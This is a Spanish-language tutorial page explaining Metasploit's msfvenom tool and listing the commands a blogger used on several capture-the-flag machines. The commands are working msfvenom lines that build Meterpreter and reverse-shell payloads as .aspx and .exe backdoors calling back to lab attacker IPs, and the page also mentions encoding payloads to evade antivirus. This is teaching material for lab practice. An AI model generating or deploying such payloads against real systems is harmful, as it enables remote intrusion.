MSFvenom

¿Qué es msfvenom?

msfvenom no es un módulo de msfconsole, sino que es una herramienta de línea de comandos independiente que forma parte de la suite de Metasploit.

Su nombre viene de la combinación de dos herramientas históricas de Metasploit:

  • msfpayload (que se usaba para generar payloads).

  • msfencode (que se usaba para codificar payloads y tratar de evadir antivirus).

Ambas se combinaron en una sola herramienta más moderna: msfvenom.

¿Qué hace msfvenom?

msfvenom permite:

  1. Generar payloads (fragmentos de código que al ejecutarse permiten establecer una sesión con la máquina atacante, por ejemplo un Meterpreter o una shell reverse).

  2. Formatear estos payloads en distintos tipos de archivos:

    • .exe para Windows

    • .elf para Linux

    • .apk para Android

    • .ps1 (PowerShell script)

    • .asp, .jsp, .php (para servidores web)

    • Shellcode puro (para inyección manual en exploits)

  3. Codificar los payloads usando técnicas de evasión para tratar de eludir mecanismos de defensa (aunque hoy en día esto requiere técnicas más avanzadas).

¿Cómo funciona?

El flujo básico es así:

  1. El usuario elige un payload (por ejemplo, windows/meterpreter/reverse_tcp).

  2. Define parámetros como LHOST (IP de la máquina atacante) y LPORT (puerto que estará escuchando para recibir la conexión).

  3. Elige un formato de salida (por ejemplo -f exe para obtener un .exe).

  4. msfvenom genera un archivo que contiene ese payload en el formato elegido.

Ejemplos prácticos con máquinas que se realizaron en este blog:

En el CTF Devel se usó:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx -o backdoor.aspx

En el CTF Driver se usó:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe > shell.exe
  • -p windows/x64/meterpreter/reverse_tcp → genera un payload Meterpreter para Windows 64 bits que hará una conexión inversa (reverse TCP) a tu máquina.

  • LHOST=10.10.14.4 → la IP de tu máquina atacante (donde corre el handler de Metasploit).

  • LPORT=4444 → el puerto donde está escuchando tu handler.

  • -f exe → el formato de salida es un ejecutable .exe.

  • > shell.exe → guarda el resultado en un archivo llamado shell.exe.

En el CTF Acces se usó:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1338 -f exe -o backdoor.exe

En el CTF Grandpa se usó:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe -o shell.exe

Last updated